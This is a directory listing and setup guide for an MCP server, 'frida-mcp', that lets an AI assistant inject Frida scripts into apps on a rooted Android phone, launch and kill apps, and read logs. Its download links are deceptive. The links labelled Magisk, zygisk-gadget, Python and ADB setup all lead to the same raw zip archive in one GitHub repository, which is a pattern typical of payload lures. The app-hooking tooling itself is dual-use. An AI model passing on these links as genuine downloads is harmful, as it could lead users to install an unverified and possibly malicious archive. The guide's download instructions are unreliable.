Allows analyzing Android apps by automating Frida with AI commands, enabling dynamic inspection of app behavior, including listing apps, injecting scripts, spawning apps, and viewing logs.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@frida-mcp list all third-party apps on my device"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
frida-mcp helps you analyze Android apps by automating Frida using AI commands. It connects your Android phone to your computer, runs analysis scripts automatically, and gives you results without needing to run commands yourself.
This tool works with rooted Android phones running Magisk and the zygisk-gadget module. It uses a server called MCP (Model Context Protocol) that talks to Frida and controls it to inspect apps dynamically.
Related MCP server: Frida Agent MCP
Before starting, check the following:
Windows 10 or later.
Python 3.10 or higher installed on your PC.
An Android phone with root access.
Magisk installed on your Android phone.
The zygisk-gadget Magisk module installed and set to use port 14725.
ADB (Android Debug Bridge) installed and able to connect your phone to your PC.
If you don’t have Python or ADB installed, you will need to install them first. Both are free and easy to get.
Click the large button below to visit the GitHub page where you can download frida-mcp and find setup files.
On the GitHub page:
Look for the “Releases” section to find the latest version.
Download the package or installer suitable for Windows.
Follow instructions there to install the software.
After downloading, follow these steps to install and configure frida-mcp on your PC:
Install Python packages
Open your Command Prompt (search for "cmd" in Windows Start menu).
Navigate to the folder where you downloaded frida-mcp, or if you have the source code, open Command Prompt there.
Run this command to install frida-mcp and its dependencies:
pip install .This installs the main program and tools you will need.
Run Setup
After installation completes, run this command to perform automatic setup:
frida-mcp-setupThis command will register frida-mcp with MCP and install necessary “Skills” for it to work smoothly.
Manual Configuration (optional)
If automatic setup fails, you can edit the file ~/.claude.json manually:
{
"mcpServers": {
"frida-agent": {
"command": "frida-mcp"
}
}
}Save the file and retry running frida-mcp.
Connect your phone
Make sure your Android phone is connected via USB with USB debugging enabled.
Confirm that adb can detect your device by running:
adb devicesYour device should show up on the list.
frida-mcp uses ADB to talk to the zygisk-gadget module on your phone.
To establish this connection:
Run the command:
frida-mcp connectThis will forward ports and allow communication between your PC and phone.
Check the connection by listing third-party apps on your device:
frida-mcp list_appsIf your apps show up, the connection works.
Here are the main commands you will use when running frida-mcp:
Command | What it Does |
| Opens ADB port forwarding to connect to zygisk-gadget. |
| Shows third-party apps installed on your device. |
| Injects a Frida script into the running app. You can write the script directly or provide a file path. |
| Stops an app, restarts it, and injects a script in one step. Useful when hooking app startup. |
| Shows output from the injected scripts. Supports paging and file backup. |
| Displays Android system logs to help find errors or crashes. |
| Starts an app you specify. |
| Forces an app to stop. |
| Restarts the connection if frida-mcp crashes. |
| Disconnects the current script injection session. |
If you need to download frida-mcp again or get the latest version:
Visit this page:
https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
Go to the "Releases" tab.
Download the latest files.
Replace old files with new ones if you have a manual installation.
Then repeat the installation commands as above to update your setup.
Your phone must remain connected and unlocked during use.
If you encounter errors with connection, rerun frida-mcp reconnect or check ADB connection.
Use frida-mcp logcat to monitor crashes or issues in real time.
If an app does not respond as expected, try spawn_and_inject to restart and inject fresh.
Keep Python and ADB updated for best compatibility.
Magisk Root: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
zygisk-gadget Module: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
Python: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
ADB Setup Guide: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
The flow looks like this:
AI (Claude) → MCP Server → Frida CLI → zygisk-gadget (phone) → Results returnedThis means AI sends commands to MCP, which controls Frida. Frida works with the gadget installed on the phone to analyze apps and send data back to you.
Connect to the Frida gadget on the device. Performs adb port forwarding (tcp:14725) and connects to the zygisk-gadget. Call this before any other operation.
Inputs: no named parameters. Returns: result
Detach from the current session and unload any injected scripts.
Inputs: no named parameters. Returns: result
Inject a Frida JavaScript script into the frontmost application. The script is automatically wrapped with try-catch for safety. Returns immediately after injection - use get_messages() to retrieve results after the user has triggered the target functionality.
Args: script: Frida JavaScript code to inject. Use send() to return data. script_file: Path to a .js file to inject. Use this for large scripts instead of script parameter.
Inputs: script, script_file. Returns: result
Get messages collected from the injected script's send() calls. Call this after the user has triggered the target functionality.
Args: limit: Maximum number of messages to return (default 50). offset: Skip first N messages for pagination. save_to_file: If True, save all messages to a JSON file and return the path.
Inputs: limit, offset, save_to_file.
Force stop an Android app by package name.
Args: package: The app package name (e.g. com.example.app).
Inputs: package (required). Returns: result
Launch an Android app by package name.
Args: package: The app package name (e.g. com.example.app).
Inputs: package (required). Returns: result
List running applications on the connected device. Returns application identifier, name, and PID.
Inputs: no named parameters. Returns: result
Get Android logcat output. Useful for debugging crashes after script injection.
Args: filter: Optional filter string (case-insensitive match on each line). lines: Number of recent lines to fetch (default 100). clear: If True, clear logcat buffer before fetching.
Inputs: filter, lines, clear. Returns: result
Reconnect to the gadget after an app crash. Detaches current session, re-establishes adb forwarding, and reconnects. After reconnect, restart the target app and call execute() again.
Inputs: no named parameters. Returns: result
Kill app, relaunch, connect, and inject script in one step. Use this when you need to hook early initialization (e.g. onCreate, static initializers). Equivalent to: kill_app -> launch_app -> connect -> execute.
Args: package: The app package name (e.g. com.taobao.taobao). script: Frida JavaScript code to inject at startup. Use send() to return data. script_file: Path to a .js file to inject. Use this for large scripts.
Inputs: package (required), script, script_file. Returns: result
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
Scored across 10 tools
Each tool has a distinct purpose: lifecycle management (connect, detach, reconnect), script injection and retrieval (execute, get_messages), app control (kill_app, launch_app, list_apps), logging (logcat), and a composite workflow (spawn_and_inject). No overlapping functionality.
All tool names use lowercase snake_case with a verb_noun pattern (e.g., kill_app, launch_app, get_messages). The composite tool spawn_and_inject deviates slightly but remains intuitive and consistent with the overall style.
10 tools is well-scoped for a Frida interaction server. It covers connection management, app lifecycle, script injection, message retrieval, and debugging without unnecessary clutter.
Core workflows are covered: connect/disconnect, app start/stop/list, script injection with message retrieval, and logcat. Missing advanced features like listing active hooks or managing multiple scripts, but the set is complete for typical Frida use cases.
Give your AI agent a real cloud Android phone: push APKs, drive it, get screenshots and logs.
AI agents on real phones: run tasks, read the screen, tap, type and install apps.
Cloud Android phones for AI agents: create a phone, read the screen, tap, type, install APKs, park.
Cloud Android phones for AI agents: give phones a task in plain words and get the answer
